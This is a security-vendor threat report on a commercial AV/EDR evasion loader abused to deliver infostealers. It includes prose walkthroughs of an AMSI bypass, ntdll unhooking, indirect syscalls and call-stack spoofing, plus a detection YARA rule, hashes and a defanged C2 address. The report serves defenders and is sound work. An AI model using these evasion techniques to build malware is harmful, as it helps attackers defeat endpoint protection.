            <description><![CDATA[Elastic Security Labs detected the recent emergence of infostealers using an illicitly acquired version of the commercial evasion framework, SHELLTER, to deploy post-exploitation payloads.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.</p>
<h3>Key takeaways</h3>
<ul>
<li>Commercial evasion framework SHELLTER acquired by threat groups</li>
<li>SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata</li>
<li>SHELLTER employs unique capabilities to evade analysis and detection</li>
<li>Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries</li>
</ul>
<pre><code>Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers
</code></pre>
<h2>SHELLTER Overview</h2>
<p>SHELLTER is a <a href="https://www.shellterproject.com/homepage/">commercial evasion framework</a> that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.</p>
<pre><code>While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.
</code></pre>
<p>SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement <a href="https://www.shellterproject.com/shellter-elite-acquire-upgrade-eligibility-terms/">safeguards</a> to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image39.gif" alt="" /></p>
<p>In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was <a href="https://www.shellterproject.com/shellter-elite-v11-0-released/">released</a> on April 16, 2025.</p>
<p>SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.</p>
<h2>SHELLTER Loader - Technical Details</h2>
<p>The following sections describe capabilities that resemble some of the Shellter Project’s published <a href="https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf">Elite Exclusive Features</a>. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.</p>
<h3>Polymorphic Junk Code</h3>
<p>SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.</p>
<p>By setting a breakpoint on <code>VirtualAlloc</code> in a SHELLTER-protected <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys">RHADAMANTHYS</a> <a href="https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details">sample</a>, we can see the call stack of this malware sample.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image11.png" alt="Call stack of backdoored file" /></p>
<p>This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:</p>
<ul>
<li><code>GetModuleHandleA</code> / <code>GetProcAddress</code></li>
<li><code>CreateFileMappingW</code> / <code>MapViewOfFile</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image44.png" alt="Junk instructions using legitimate import" /></p>
<p>The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image7.png" alt="Final unpacking instructions leading to main function" /></p>
<h3>Unhooking System Modules via File-mappings</h3>
<p>To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of <code>ntdll.dll</code> via <code>NtCreateSection</code> and <code>NtMapViewOfSection</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image48.png" alt="Manually mapped ntdll.dll in orange" /></p>
<p>There is also a second option for unhooking by loading a clean <code>ntll.dll</code> from the <code>KnownDLLs</code> directory via <code>NtOpenSection</code> and <code>NtMapViewOfSection</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image14.png" alt="ntdll.dll mapped via KnownDlls technique" /></p>
<h3>Payload Encryption and Compression</h3>
<p>SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:</p>
<ul>
<li><strong>Embedded key/IV:</strong> A randomly generated key/IV pair is embedded directly within the SHELLTER payload.</li>
<li><strong>Server-fetched key/IV:</strong> The key/IV pair is fetched from an adversary-controlled server.</li>
</ul>
<p>For samples that utilized the embedded option, we successfully recovered the underlying payload.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image47.png" alt="AES CBC main decryption loop" /></p>
<p>The encrypted blobs are located at the end of each SHELLTER payload.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image20.png" alt="Encrypted payload" /></p>
<p>The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image29.png" alt="Embedded AES Key and IV constants" /></p>
<p>In Shellter Elite v11.0, by default, payloads are compressed using the <code>LZNT1</code> algorithm before being encrypted.</p>
<h3>DLL Preloading &amp; Call Stack Evasion</h3>
<p>The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as <code>advapi32.dll</code>, <code>wininet.dll</code>, and <code>crypt32.dll</code>, to support the underlying payload’s operations. The three configurable options include:</p>
<ul>
<li><code>--Force-PreloadModules-Basic</code> (16 general-purpose modules)</li>
<li><code>--Force-PreloadModules-Networking</code> (5 network-specific modules)</li>
<li><code>--Force-PreloadModules-Custom</code> (up to 16 user-defined modules)</li>
</ul>
<p>These modules are being loaded through either <code>LoadLibraryExW</code> or <code>LdrLoadDll</code>. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image45.png" alt="APIs for preloading DLLs" /></p>
<p>Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the <code>--Force-PreloadModules-Basic</code> option, found in a <a href="https://www.virustotal.com/gui/file/70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1/relations">sample</a> that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach <a href="https://www.elastic.co/kr/security-labs/bits-and-bytes-analyzing-bitsloth">favored by some threats</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image30.png" alt="DLL list for flag --Force-PreloadModules-Basic" /></p>
<p>The following example is a list that matches the <code>--Force-PreloadModules-Networking</code> option found in a sample loading <a href="https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details">LUMMA</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image27.png" alt="DLL list for flag --Force-PreloadModules-Networking" /></p>
<p>This feature (<a href="https://www.shellterproject.com/shellter-elite-pro-plus-updates/">released</a> in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the <code>LoadLibraryExW</code> call while loading networking and cryptography-related libraries.</p>
<p>Below is an example of a <code>procmon</code> trace when loading <code>wininet.dll</code>, showing a truncated call stack:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image49.png" alt="Truncated call stack when loading wininet.dll" /></p>
<p>In the same <a href="https://www.virustotal.com/gui/file/70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1">sample</a> that has the <code>--Force-PreloadModules-Basic</code> flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, <code>urlmon.dll</code> also conceals the source of the <code>LoadLibraryExW</code> call for its dependencies <code>iertutil.dll</code>, <code>srvcli.dll</code>, and <code>netutils.dll</code>.</p>
<h3>Unlinking of AV/EDR Modules</h3>
<p>SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (<a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">PEB</a>). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data">PEB LDR</a> is a structure in Windows that contains information about a process's loaded modules.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image43.png" alt="Targeted unlinking of the decoy module" /></p>
<p>We only observed one unique module name based on its hash (different per sample), which ends up resolving to <code>kern3l32.dll</code> [sic].</p>
<h3>API Hashing Obfuscation</h3>
<p>Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the <code>SystemTime</code> value from the <code>KUSER_SHARED_DATA</code> structure at address <code>0x7FFE0014</code> to derive a dynamic XOR key.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image37.png" alt="XOR key derived from KUSER_SHARED_DATA" /></p>
<p>It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image15.png" alt="seeded-ROR13 algorithm" /></p>
<p>Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image33.png" alt="Function pointer obfuscation" /></p>
<h3>License Check and Self-disarm</h3>
<p>For each SHELLTER payload, there are three embedded <code>FILETIME</code> structures. In an example <a href="https://www.virustotal.com/gui/file/7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10">sample</a>, these were found to be:</p>
<ul>
<li>License expiry datetime (2026-04-17 19:17:24.055000)</li>
<li>Self-disarm datetime (2026-05-21 19:44:43.724952)</li>
<li>Infection start datetime (2025-05-21 19:44:43.724952)</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image28.png" alt="Hardcoded FILETIMEs" /></p>
<p>The license expiry check compares the current time to the license expiry datetime, setting the <code>license_valid</code> flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the <code>license_valid</code> flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image34.png" alt="Expired SHELLTER license causes execution to be cut short" /></p>
<p>By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded <code>ntdll</code> module (if present) and clearing the NTAPI lookup table, which references either the manually mapped <code>ntdll</code> module or the one loaded during process initialization.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image4.png" alt="Example cleanup routine when self-disarm is triggered" /></p>
<p>While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.</p>
<p>It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.</p>
<table>
<thead>
<tr>
<th align="left">SHA256</th>
<th align="left">License Expiration</th>
<th align="left">Self-disarm</th>
<th align="left">Infection Start</th>
<th align="left">Family</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-27 19:57:42.971694</td>
<td align="left">2025-05-27 19:57:42.971694</td>
<td align="left">RHADAMANTHYS</td>
</tr>
<tr>
<td align="left">7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-21 19:44:43.724953</td>
<td align="left">2025-05-21 19:44:43.724953</td>
<td align="left">UNKNOWN</td>
</tr>
<tr>
<td align="left">b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-24 11:42:52.905726</td>
<td align="left">2025-05-24 11:42:52.905726</td>
<td align="left">ARECHCLIENT2</td>
</tr>
<tr>
<td align="left">da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-04-27 22:40:00.954060</td>
<td align="left">2025-04-27 22:40:00.954060</td>
<td align="left">LUMMA</td>
</tr>
<tr>
<td align="left">70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-16 16:12:09.711057</td>
<td align="left">2025-05-16 16:12:09.711057</td>
<td align="left">UNKNOWN</td>
</tr>
</tbody>
</table>
<p>Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:</p>
<pre><code class="language-yara">rule SHELLTER_ILLICIT_LICENSE {  
    meta:  
        author = &quot;Elastic Security&quot;  
        last_modified = &quot;2025-07-01&quot;  
        os = &quot;Windows&quot;  
        family = &quot;SHELLTER&quot;  
        threat_name = &quot;SHELLTER_ILLICIT_LICENSE&quot;

    strings:

        // 2026-04-17 19:17:24.055000  
        $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

    condition:  
        any of them  
}  
</code></pre>
<h3>Memory Scan Evasion</h3>
<p>SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include:</p>
<ul>
<li>Decoding and re-encoding instructions at runtime</li>
<li>Removal of execute permissions on inactive memory pages</li>
<li>Reducing footprint, impacting in-memory signatures using YARA</li>
<li>Using Windows internals structures, such as the <code>PEB</code>, as temporary data holding spots</li>
</ul>
<p>SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using <code>NtQueryVirtualMemory</code> and <code>NtProtectVirtualMemory</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image18.png" alt="Initial memory page showing memory not committed" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image13.png" alt="Memory page moves to PAGE_READWRITE" /></p>
<p>Once the page is active, the encoded bytes can be observed at this address, <code>0x7FF5FFCE0000</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image21.png" alt="Encoded trampoline stub" /></p>
<p>SHELLTER decodes this page when active through an XOR loop using the derived <code>SystemTime</code> key from the <code>KUSER_SHARED_DATA</code> structure.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image12.png" alt="Encoding XOR loop for encoding/decoding trampoline stub" /></p>
<p>Below is this same memory page (<code>0x7FF5FFCE0000</code>), showing the decoded trampoline stub for the syscall (<code>ntdll_NtOpenFile</code>).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image36.png" alt="Decoded trampoline stub for NtOpenFile" /></p>
<p>When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image42.png" alt="Memory page moves to PAGE_EXECUTE_READ" /></p>
<p>The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.</p>
<h3>Indirect Syscalls / Call stack Corruption</h3>
<p>As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking <code>syscall</code> directly, it prepares the stack with the address of a clean <code>syscall</code> instruction from <code>ntdll.dll</code>. A <code>ret</code> instruction then pops this address into the <code>RIP</code> register, diverting execution to the <code>syscall</code> instruction stealthily.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image1.png" alt="Trampoline code" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image31.png" alt="Syscall instruction from clean ntdll.dll" /></p>
<p>Below is an example of Elastic Defend <code>VirtualProtect</code> events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image16.png" alt="Elastic Defend eventing for indirect calls and truncated call stacks" /></p>
<h3>Advanced VM/Sandbox Detection</h3>
<p>SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to <code>ZwQuerySystemInformationEx</code> using <code>CPUID</code> and <code>_bittest</code> instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image17.png" alt="Hypervisor detection" /></p>
<h3>Debugger Detection (UM/KM)</h3>
<p>SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the <code>KdDebuggerEnabled</code> flag via the <code>_KUSER_SHARED_DATA</code> structure.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image23.png" alt="Debugging detections" /></p>
<h3>AMSI Bypass</h3>
<p>There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string &quot;AMSI&quot; with null bytes and patches conditional jumps to its opposite.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image9.png" alt="Patch the “AMSI” string in the AMSI functions to null bytes" /></p>
<p>The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the <code>CLSID_Antimalware</code> GUID constant <code>{fdb00e52-a214-4aa1-8fba-4357bb0072ec}</code> within <code>amsi.dll</code>, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image2.png" alt="Patch reference point to CLSID_Antimalware GUID constant" /></p>
<p>The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the <code>DllGetClassObject</code> function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing <code>AmsiInitialize</code> to fail with a <code>CLASS_E_CLASSNOTAVAILABLE</code> exception.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image32.png" alt="AmsiAntimalware ATL Object Map entry in amsi.dll" /></p>
<p>It then calls <code>AmsiInitialize</code> - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The <code>HAMSICONTEXT</code> obtained from <code>AmsiInitialize</code> contains a pointer to an <code>IAntimalware</code> COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function <code>IAntimalware::Scan</code> in this table. To neutralize it, the code searches the memory page containing the <code>IAntimalware::Scan</code> function for a <code>ret</code> instruction.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image8.png" alt="Find ret gadget in IAntimalware::Scan function" /></p>
<p>After finding a suitable gadget, it overwrites the <code>Scan</code> function pointer with the address of the <code>ret</code> gadget. The result is that any subsequent call to <code>AmsiScanBuffer</code> or <code>AmsiScanString</code> will invoke the patched vtable, jump directly to a <code>ret</code> instruction, and immediately return.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image38.png" alt="Overwrite IAntimalware::Scan function pointer with ret gadget" /></p>
<h3>Vectored Exception Handler API Proxy</h3>
<p>There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.</p>
<p>Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to <code>PAGE_READONLY</code>, and attempting to execute code there will cause a <code>STATUS_ACCESS_VIOLATION</code> exception, which is intended. The addresses of these trigger pages are stored in the context structure:</p>
<ul>
<li><code>api_call_trigger_page</code> - The page that will be called to initiate the proxy.</li>
<li><code>api_return_trigger_page</code> - The page that the actual API will return to.</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image40.png" alt="Memory Allocation for trigger pages" /></p>
<p>An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using <code>RtlAddVectoredExceptionHandler</code>. A hardcoded magic placeholder value (<code>0xe1e2e3e4e5e6e7e8</code>) in the handler is then overwritten with a pointer to the context structure itself.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image22.png" alt="In-memory patch of the magic value in the exception handler" /></p>
<p>Looking at an example callsite, if the VEH proxy is to be used, the address of <code>GetCurrentDirectoryA</code> will be stored into <code>ctx_struct-&gt;target_API_function</code>, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a <code>STATUS_ACCESS_VIOLATION</code> exception.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image24.png" alt="Example callsite with the option to utilize VEH API proxying" /></p>
<p>Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:</p>
<ul>
<li>Save the original return address</li>
<li>Overwrite the return address on the stack with the address of the return trigger page</li>
<li>Sets the <code>RIP</code> register to the actual API address saved previously in <code>ctx_struct-&gt;target_API_function</code>.</li>
</ul>
<p>The <code>GetCurrentDirectoryA</code> call is then executed. When it finishes, it jumps to the return trigger page, causing a second <code>STATUS_ACCESS_VIOLATION</code> exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, <code>RIP</code> is set to the original return address and the control flow returns to the original call site.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image35.png" alt="Exception handler template" /></p>
<h2>Campaigns</h2>
<p>In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image6.png" alt="Activity Timeline" /></p>
<h3>LUMMA</h3>
<p>LUMMA <a href="https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details">infostealer</a> was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to <a href="https://app.any.run/tasks/eab157aa-5609-4b33-a571-808246d1cf92">verify</a> (using ANY.RUN) that related files were being hosted on the <a href="https://www.mediafire.com/">MediaFire</a> file hosting platform.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image5.png" alt="Submission data for the LUMMA sample" /></p>
<h3>Want-to-Sell</h3>
<p>On May 16th, Twitter/X user <a href="https://x.com/DarkWebInformer">@darkwebinformer</a> <a href="https://x.com/DarkWebInformer/status/1923472392157790700">posted</a> a screenshot with the caption:</p>
<blockquote>
<p>🚨Shellter Elite v11.0 up for sale on a popular forum</p>
</blockquote>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image19.png" alt="Dark Web Informer’s screenshot of Shellter Elite [Sell] forum post" /></p>
<p>“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.</p>
<h3>ARECHCLIENT2</h3>
<p>Starting around May, we observed campaigns <a href="https://www.reddit.com/r/PartneredYoutube/comments/1ks2svg/skillshare_sponsorship/">targeting</a> content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (<code>.rar</code>), which contain legitimate promotional content packaged with a SHELLTER-protected executable.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image41.png" alt="RAR archive contents" /></p>
<p>This underlying <a href="https://www.virustotal.com/gui/file/748149df038a771986691e3f54afea609ceb9fbfcbec92145beb586bec039e6a/details">executable</a> shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see <a href="https://www.virustotal.com/gui/file/b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad/details">samples</a> with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image25.png" alt="Low detection of SHELLTER-protected ARECHCLIENT2" /></p>
<p>The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to <code>185.156.72[.]80:15847,</code> which was <a href="https://www.elastic.co/kr/security-labs/a-wretch-client">previously identified</a> by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.</p>
<h3>RHADAMANTHYS</h3>
<p>These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image10.png" alt="Distribution through YouTube comments" /></p>
<p>One of the <a href="https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details">files</a> that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image3.png" alt="Submission data for RHADAMANTHYS sample" /></p>
<p>This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image46.png" alt="RHADAMANTHYS strings" /></p>
<h2>SHELLTER Unpacker</h2>
<p>Elastic Security Labs is <a href="https://github.com/elastic/labs-releases/tree/main/tools/shellter">releasing</a> a dynamic unpacker for binaries protected by SHELLTER. This tool leverages a combination of dynamic and static analysis techniques to automatically extract multiple payload stages from a SHELLTER-protected binary.</p>
<p>As SHELLTER offers a wide range of optional features, this unpacker is not fully comprehensive, although it does successfully process a large majority of tested samples. Even with unsupported binaries, it is typically able to extract at least one payload stage.</p>
<p><strong>For safety reasons, this tool should only be executed within an isolated virtual machine.</strong> During the unpacking process, potentially malicious executable code is mapped into memory. Although some basic safeguards have been implemented, they are not infallible.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/taking-shellter/image26.png" alt="SHELLTER Unpacker screenshot" /></p>
<h2>Conclusion</h2>
<p>Despite the commercial OST community's best efforts to retain their tools for legitimate purposes, mitigation methods are imperfect. They, like many of our customers, face persistent, motivated attackers. Although the Shellter Project is a victim in this case through intellectual property loss and future development time, other participants in the security space must now contend with real threats wielding more capable tools.</p>
<p>We expect:</p>
<ul>
<li>This illicit version of SHELLTER will continue to circulate through the criminal community and potentially transition to nation-state-aligned actors.</li>
<li>The Shellter Project will update and release a version that mitigates the detection opportunities identified in this analysis.
<ul>
<li>Any new tooling will remain a target for malicious actors.</li>
</ul>
</li>
<li>More advanced threats will analyze these samples and incorporate features into their toolsets.</li>
</ul>
<p>Our aim is that this analysis will aid defenders in the early detection of these identified infostealer campaigns and prepare them for a potential expansion of these techniques to other areas of the offensive landscape.</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0100/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1071/">Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/003/">Process Injection: Thread Execution Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/016/">Obfuscated Files or Information: Junk Code Insertion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Content Injection</a></li>
